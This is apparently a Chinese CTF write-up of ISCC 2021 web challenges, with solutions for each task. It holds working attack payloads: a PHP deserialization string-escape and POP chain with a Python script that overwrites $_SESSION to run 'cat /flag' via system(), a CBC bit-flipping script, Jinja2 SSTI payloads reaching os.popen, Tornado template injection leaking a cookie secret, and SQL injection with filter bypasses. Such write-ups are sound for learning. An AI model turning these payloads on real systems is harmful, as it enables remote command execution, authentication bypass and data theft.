ISCC2021 Web WP

15 篇文章 2 订阅

练武

ISCC客服冲冲冲(一)

又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己???
请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020

方法一:使用连点器
设置每秒点击100次,得到flag
在这里插入图片描述
方法二:修改按钮ID
F12将两个按钮的id交换在这里插入图片描述
方法三
js调用click函数,控制台输入

setInterval(function(){document.getElementById("left_button").click();},1);

方法四:刷票

local_left_votes=999999

在这里插入图片描述

这是啥

这是什么东西呢?
题目入口:http://39.96.91.106:7030

下载附件,将jsfuck编码丢到控制台得到flag
在这里插入图片描述

正则匹配最后的倔强。

按照提示访问robots.txt,不允许所有人访问/src/code/code.txt
在这里插入图片描述
访问/code/code.txt得到源码

<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {
     
	if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
	{
		echo '<p>You password must be alphanumeric</p>';
	
    }
	  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
	{    
    
		if (strpos ($_GET['password'], '*-*') !== FALSE)
		{
			die('Flag: ' . $flag);
		}
		else
		{
			echo('<p>*-* have not been found</p>');
		}
	}
	else
	{
		echo '<p>Invalid password</p>';
	}
}
?>

Bugku原题,传入的值必须是数字或大小写字符,长度小于8且大于9999999,且匹配到"-"才能输出flag。可以使用%00来截断,当ereg函数读到 %00的时候,就截止了。

Payload: ?password=1e8%00*-*

flag:
ISCC{1SCc-202i}

登录

登录来上传自己的信息吧!
题目入口:http://39.96.91.106:7010

这是一道原题: [0CTF 2016] piapiapia,参考wp
在这里插入图片描述

www.zip源码泄露,可直接下载源码。
在这里插入图片描述
源码如下:

config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

class.php

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

register.php

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

1.审计代码

  • config.php
    flag在这里

  • register.php
    注册账号,对帐号密码长度做出限制

  • profile.php
    (1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
    (2)用base64编码对上传文件进行了读取和显示

  • update.php
    (1)phone 长度为11位;
    (2)nickname长度小于 10 位,且只能为字母和数字;
    (3)将用户填写的 phone、email、nickname 以及上传的文件进行序列化

  • class.php
    存在参数过滤,filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.

存在参数过滤,where被替换成hacker,长度加1

2.序列化profile
update.php中POST提交完后对$profile进行序列化操作

<?php
$profile = array();
$profile['phone'] = '18288669977';
$profile['email'] = '2233445588@qq.com';
$profile['nickname'] = 'xiaom';
$profile['photo'] = 'config.php';

echo serialize($profile);
?>

结果为

a:4:{s:5:"phone";s:11:"18288669977";s:5:"email";s:17:"2233445588@qq.com";s:8:"nickname";s:5:"xiaom";s:5:"photo";s:10:"config.php";}

下面可以利用php反序列化字符逃逸

PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。

3.反序列化字符逃逸
这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项

";}s:5:"photo";s:10:"config.php";}

上面的字符串一共34个字符,所以需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去。

class.php代码中存在过滤, where 被替换成了 hacker,此时字符串的长度加 1 ,如果在 nickname 处填进 34 个where,就会被替换成 34 个 hacker,即nickname 的长度超出了 34 位。

得到payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

访问register.php,注册账号,然后登陆,在Nickname处填入上面的payload

在这里插入图片描述

抓包,将Nickname修改为Nickname[]数组类型
在这里插入图片描述
4.利用base64编码读取flag
放包,点击超链接跳转到profile.php页面,查看源码
在这里插入图片描述

一段Base编码

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdJU0NDe3doYXRfaXNAdGhlJl9uaWNrbmFtZSo/MTExMjIzNH0nOwo/Pgo=

Base64解码得到flag

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'ISCC{what_is@the&_nickname*?1112234}';
?>

which is the true iscc

小夏同学很想知道ISCC到底是什么,不过上网后的搜索让他更加迷惑了——怎么有这么多ISCC??到底哪个ISCC是真的呢?你能帮他找到真正的ISCC吗?
题目入口:http://39.96.91.106:7050

访问题目地址,查看源码

<!--
<a href="/?whatareyounongshane=src">我真的是源码?</a>
<a href="/?whatareyounongshane=cmd">干点好事!</a>
<a href="/?whatareyounongshane=upload">送点东西!</a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
-->

按照提示,访问/?whatareyounongshane=src,得到源码:

<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) {

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;


            if(is_uploaded_file($iscc_file['tmp_name'])) {

                $check = @getimagesize($iscc_file["tmp_name"]);

                if($check !== false) {

                    $target_dir = "/var/tmp/";
                    $target_file = $target_dir . randstr(10);

                    if (file_exists($target_file)) {
                        echo "想啥呢?有东西了……<br>";
                        finalize();
                        exit;
                    }

                    if ($iscc_file["size"] > 500000) {
                        echo "东西塞不进去~<br>";
                        finalize();
                        exit;
                    }

                    if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
                        echo "我拿到了!<br>";
                        $iscc_file = $target_file;
                        $status = "upload_ok";
                    } else {
                        echo "拿不到:(<br>";
                        finalize();
                        exit;
                    }

                } else {
                    finalize();
                    exit;
                }

            } else {
                echo "你真是个天才!<br>";
                finalize();
                exit;
            }
        }
    }
}

class ISCC_ResetCMD {

    protected $new_cmd = "echo '新新世界,发号施令!'";

    function __wakeup() {
        global $cmd;
        global $is_upload;
        global $status;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;

        if(!isset($this->new_cmd)) {
            $status = "error";
            $error = "你这罐子是空的!";
            throw new Exception($error);
        }

        if(!is_string($this->new_cmd)) {
            $status = "error";
            $error = '东西都没给对!';
            throw new Exception($error);
        }
    }

    function __destruct() {
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'isccIsCciScc1scc') {
            $cmd = $this->new_cmd;
        }
    }

}

class ISCC_Login {

    function __wakeup() {
        $this->login();
    }

    function __destruct() {
        $this->logout();
    }

    function login() {
        $flag = file_get_contents("/flag");
        $pAssM0rd = hash("sha256", $flag);
        if($_GET['pAssM0rd'] === $pAssM0rd)
            $_SESSION['name'] = "isccIsCciScc1scc";
    }

    function logout() {
        global $status;
        unset($_SESSION['name']);
        $status = "finish";
    }

}

class ISCC_TellMeTruth {

    function __wakeup() {
        if(!isset($_SESSION['name']))
            $_SESSION['name'] = randstr(14);
        echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    }

    function __destruct() {
        echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    }

}

class ISCC_Command {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;
        $cmd = "whoami";
    }

    function __toString() {
        global $cmd;
        return "看看你干的好事: {$cmd} <br>";
    }

    function __destruct() {
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) {
            echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
            echo "<span style='color:blue'>";
            @system($cmd);
            echo "</span>";
        }
    }

}

function randstr($len)
{
    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
    $randstring = '';
    for ($i = 0; $i < $len; $i++) {
        $randstring .= $characters[rand(0, strlen($characters))];
    }
    return $randstring;
}

function waf($s) {
    if(stripos($s, "*") !== FALSE)
        return false;
    return true;
}

function finalize() {
    $cmd = "";
    $is_upload = false;
    unset($_SESSION);
    @unlink($iscc_file);
    $status = "finish";
    echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
    $whatareyounongshane = $_GET['whatareyounongshane'];
    switch ($whatareyounongshane) {
        case "src":
            highlight_file(__FILE__);
            break;
        case "cmd":
            echo "想越级干好事?还是有门的……";
            header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
            break;
        case "reset":
            echo "几辈子积累的好运就在这时~:p";
            header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
            break;
        case "upload":
            $resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
  <input type="file" name="iscc_file">
  <input type="submit" value="Upload Image" name="submit">
</form>
EOF;
            echo $resp;
            break;
        case "tellmetruth":
            echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
            header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
            break;
        default:
            echo "空空如也就是我!";
    }
    finalize();
    die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

    $wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

    if($goodshit = @unserialize($wtf)) {
        $is_unser_finished = true;
    }

    if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
        finalize();
    die("所以哪个ISCC是真的?<br>");
}

?>

ISCC_Command类里面的__destruct方法可以执行cmd命令

function __destruct() {
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) {
            echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
            echo "<span style='color:blue'>";
            @system($cmd);
            echo "</span>";
        }
    }

在ISCC_ResetCMD类里面对cmd进行重新赋值

class ISCC_ResetCMD {

    protected $new_cmd = "echo '新新世界,发号施令!'";

    function __destruct() {
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'isccIsCciScc1scc') {
            $cmd = $this->new_cmd;
        }
    }

}

这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1scc的SESSION

if($_SESSION['name'] === 'isccIsCciScc1scc') {
            $cmd = $this->new_cmd;
        }

通过变量覆盖来控制$_SESSION的值

ISCC__Upload类:

class ISCC_Upload {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) {

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;

其中$GLOBALS['key'] = value;为全局变量的覆盖,当$is_upload为true的时候,就会触发这个循环,可以实现$_SESSION的变量覆盖。

而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);会把他设置成true,其他的类都设置成了false。

这里了解一下$_FILES$_FILES通过 HTTP POST 方式上传到当前脚本的项目的数组。
数组内容如下:

$_FILES['userfile']['name']       #客户端机器文件的原名称。
$_FILES['userfile']['type']      #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size']      #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name']    #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error']       #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。

所以我们就要让upload执行__destruct的时候,is_upload是true
这就要求,最早执行__destruct,最晚执行__wakeup,所以就可以按一定顺序来构造POP链

由于有一个waf函数,不能出现*

function waf($s) {
    if(stripos($s, "*") !== FALSE)
        return false;
    return true;
}

但是ISCC_ResetCMD类的$new_cmd的属性是protected的,序列化后会带有*,这就需要ISCC_Upload类的__wakeup在这些类的最后进行,但是__destruct要在第一个开始。需要按一定顺序来构造POP链::

<?php
class ISCC_Command {

}
class ISCC_ResetCMD {

    protected $new_cmd = "cat /flag";

}
class ISCC_Upload {
}
$a=array(
    'a'=>new ISCC_Upload(),
    'b'=>new ISCC_ResetCMD(),
    'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;

在这里插入图片描述

利用16进制绕过,将s替换成S,在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示。使用url编码一下,然后替换s即可。

重新构造POP链:

<?php
class ISCC_Command {

}
class ISCC_ResetCMD {

    protected $new_cmd = "cat /flag";

}
class ISCC_Upload {
}
$a=array(
    'a'=>new ISCC_Upload(),
    'b'=>new ISCC_ResetCMD(),
    'c'=>new ISCC_Command(),
);
$b=urlencode(serialize($a));
$b=str_replace("s","S",$b);
$b=str_replace("%2A",'\2a',$b);
echo $b;

运行得到:

a%3A3%3A%7BS%3A1%3A%22a%22%3BO%3A11%3A%22ISCC_Upload%22%3A0%3A%7B%7DS%3A1%3A%22b%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A1%3A%7BS%3A10%3A%22%00\2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3B%7DS%3A1%3A%22c%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D

通过python脚本上传,注意图片不能太大

import requests

url="http://39.96.91.106:7050/"

files={
    'iscc_file':("b",open("atkx.jpg","rb")),
    "_SESSION":("isccIsCciScc1scc","123")
}
headers={
    'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files,headers=headers)

print(r.text)

得到flag
在这里插入图片描述

ISCC客服一号冲冲冲(二)

经过激烈的竞争,客服一号终于通过自己的努力(选手的帮助),保住了自己的饭碗(获得了客服的密码),可当他打开客服登录窗口,却发现怎么也登不上去了。
你能帮他看看怎么回事吗? 题目入口:http://39.96.91.106:8210/ Flag格式:iscc{XXX}

查看源码,看到login.bmp,下载

蓝色通道最低位有异常,另存为login.html
在这里插入图片描述

查看源码

<?php
define("SECRET_KEY", '101010031231243214');
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
	$_SESSION['password'] = $info['password'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

function show_homepage(){
    if ($_SESSION["username"]==='admin'&& $_SESSION["password"]=== password)
	{
        echo '<p>Hello admin</p>';
        echo '<p>Flag is '.flag.'</p>';
    }
	else if($_SESSION["password"] == password)
	{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>You can\'t see flag</p>';
    }
	else
	{
		echo '<p>Sorry,password is incorrect</p>';
	}
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '
			<body class="login-body">
                <div id="wrapper" style = "width:800px; height:200px; overflow:hidden;">
                    <img class="img1" src="login.bmp"  alt="login" />
                </div>
            </body>';
    }
}
?>

阅读源代码,我们可以知道,只有admin用户才能读取flag,但是admin用户又不允许登录。虽然相互矛盾,由于题目用到了aes的cbc模式加密,所以我们可以利用cbc字节翻转攻击来得到我们想要的明文。

Bugku Login4原题,考查CBC字节翻转攻击

这是组合题,猜测密码是(一)的flag

POST
username=admix&password=1SCC_2o2l_KeFuu&submit=Login

在这里插入图片描述
题目将用户名密码传入数组并序列化得到

a:2:{s:8:"username";s:5:"admil";s:8:"password";s:15:"1SCC_2o2l_KeFuu";

接下来进行aes加密,并将得到的cipher和iv进行base64编码放入cookie中(cookie对于攻击者来说可控,所以存在cbc字节翻转攻击)

明文加密时分组为:

a:2:{s:8:"userna
me";s:5:"admil";
s:8:"password";s
:15:"1SCC_2o2l_K
eFuu";} 

因此我们只需要将"x"字节翻转为"n"即可得到flag。

根据我们得到的关系,已知只需修改前一组密文即可。

$newcipher[13]=chr(ord(13) ^ ord(‘x’) ^ ord(‘n’))

这时我们就会得到

a:2:{s:8:"username";s:5:"admin";s:8:"password";s:15:"1SCC_2o2l_KeFuu";

但是由于前一组密文被修改了 所以前一组的明文会出现乱码,因此接下来我们再生成新的iv将前一组明文改回a:2:{s:8:"userna 即可得到flag。

下面开始操作:

<?php
header("Content-Type: text/html;charset=utf-8");
	#计算cipher
	/*
	明文1:a:2:{s:8:"userna		//r
	明文2:me";s:5:"admix";		//l字母在第14个字节
	明文3:s:8:"password";s
	明文4::3:"123";}
	*/
	$cipher = base64_decode(urldecode('y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D'));
	$temp = $cipher;
	/*
	设密文1[13]=A,	解密(密文2)[13]=B,	明文2[13]=C,	
	将A修改为A ^ C,则:
	A ^ B = A ^ C ^ B = B ^ B = 0 = C
	*/
	//						A				  C			 X
	$cipher[13] = chr(ord($cipher[13]) ^ ord('x') ^ ord('n'));
	echo urlencode(base64_encode($cipher));

#Set-Cookie: iv=UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D
#Set-Cookie: cipher=y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D
	?>

得到

y2x2UEGxPieluLPfmbWe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D

这里提示反序列化失败了
在这里插入图片描述
重新计算vi

<?php
	#计算iv
	$res = base64_decode('udWanuvQSROPYCexu0Urn21lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30=');	//这里放burp放回的base64数据
	$iv = base64_decode(urldecode('UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D')); //这里放cookie中的iv  iv=kCoJjjQMy%2BIQATaagMVpbw%3D%3D;
	$plaintext = 'a:2:{s:8:"userna';
	$new_iv = '';
	for ($i = 0; $i < 16; $i ++){
		$new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i]));
	}
	echo urlencode(base64_encode($new_iv));
?>

得到新的iv值传过去

irk7Yy8%2BiF%2FBu1N2HvpoBw%3D%3D

最终flag为
在这里插入图片描述

lovely ssti

MiaoMiaoMiao~这里有一只可爱的暹罗猫猫
题目入口:http://39.96.91.106:3010/

查看可用字符

Payload: ?xiaodouni={%print%20lipsum|select|string|list%}

在这里插入图片描述
没做过多少SSTI方面的题,会单独弄篇博客总结SSTI,暂时先贴一下大师傅们的Payload吧:

?xiaodouyu=
{%set%20xiahua=(config|select|string|list)[24]%}
{%set%20gb=(xiahua,xiahua,dict(class=a)|join,xiahua,xiahua)|join%}
{%set%20ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%}
{%set%20glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}
{%set%20gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set%20oo=dict(o=a,s=a)|join%}
{%%20set%20so=oo[::-1]%}
{%set%20pp=dict(pop=a,ne=b)|join%}
{%%20set%20opo=pp[::-1]%}
{%set%20rd=(dict(read=a)|join)%}
{%print config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(opo)("cat /usr/?????is?here????")|attr(rd)()%}   


?xiaodouyu=
{%set pp=(dict(pop=a))|join%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}
{%set g=(lipsum|select|string|list)|attr(pp)(1)%}
{%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge""t")("ch""r")%}
{%set dian=chcr(46)%}
{%set space=chcr(32)%}
{%set xing=chcr(42)%}
{%set shell=("cat ","requirements",dian,"txt")|join%}
{%set shell2=("find / -name ",xing,"fl","ag",xing)|join%}
{%set shell2=("cat /usr/fl","ag",xiahua,"is",xiahua,"here",dian,"txt")|join%}
{{ lipsum|attr(gb)|attr(gm)("o""s")|attr("po""pen")(shell2)|attr("read")()}}



?xiaodouyu=
{% set xiahua=(config|string)[14]%}
{% set gb=(xiahua,xiahua,"globals",xiahua,xiahua)|join %}
{% set bl=(xiahua,xiahua,"builtins",xiahua,xiahua)|join %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["ch""r"] %}
{% set dian=cr(46)%}
{% set xing =cr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}

在这里插入图片描述

擂台

tornado

Tornado 是什么呢?
题目入口:http://39.96.91.106:7060

在BUU上做过,是道原题
在这里插入图片描述

从三个链接可以得到以下信息:

  1. flag.txt:flag在/fllllllllllllaaaaaag文件里面
  2. welcome.txt:根据提示render,可以知道存在模板注入
  3. hints.txt:md5(cookie_secret+md5(filename))

当访问/hints.txt,发现url栏变为:

/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15

直接访问fllllllllllllaaaaaag文件

Payload: /file?filename=/fllllllllllllaaaaaag

在这里插入图片描述

需要计算filehash的值,即md5(cookie_secret+md5(filename))的值。filename已经知道了是/fllllllllllllaaaaaag,下面需要找到cookie_secret。

Tornado框架的附属文件handler.settings中存在cookie_secret,进行模板注入:

Payload:error?msg={{handler.settings}}

得到cookie_secret的值
在这里插入图片描述
直接使用脚本:

import hashlib
 
def md5value(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()
 
def jiami(): 
    filename = '/fllllllllllllaaaaaag'
    cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a"
    print("md5(filename): "+md5value(filename.encode('utf-8')))
    x=md5value(filename.encode('utf-8'))
    y=cookie_secret+x
    print("md5(cookie_secret+md5(filename)): "+md5value(y.encode('utf-8')))
 
 
jiami()


import hashlib

def md5value(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()

def jiami():
    filename = '/fllllllllllllaaaaaag'
    cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a"
    print(md5value(cookie_secret + md5value(filename)))

jiami()

得到

md5(filename): 9395bd4a7a7cae3ce1f6dc17aeb2d2b8
md5(cookie_secret+md5(filename)): 1ad9b8e09fbe539bc5a6f2c8bc0ab5db

最终payload为

/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db

在这里插入图片描述

easyweb

简单的web
题目入口:http://39.96.91.106:5001/
Flag格式:iscc{XXX}

查看源码

<!--?id-->

测试一下,id=1,2,3页面均返回数据,其它返回error

万能密码?id=1' or 1=1#,返回die
在这里插入图片描述

测试了一下,使用?id=1'||1=1%23成功返回数据
在这里插入图片描述

fuzz一下,过滤了好多

select、 union、 or、 ord 、 from、information_schema、空格等

好多代替空格的都被过滤了,仅剩%0d没有过滤
select过滤了,使用seselectlect双写绕过

得到回显位

?id=0'%0dununionion%0dselselectect%0d1,2,3%23

#Your Login name:2
#Your Password:3

爆库名

?id=0'%0dununionion%0dselselectect%0d1,database(),version()%23

#Your Login name:iscc_web
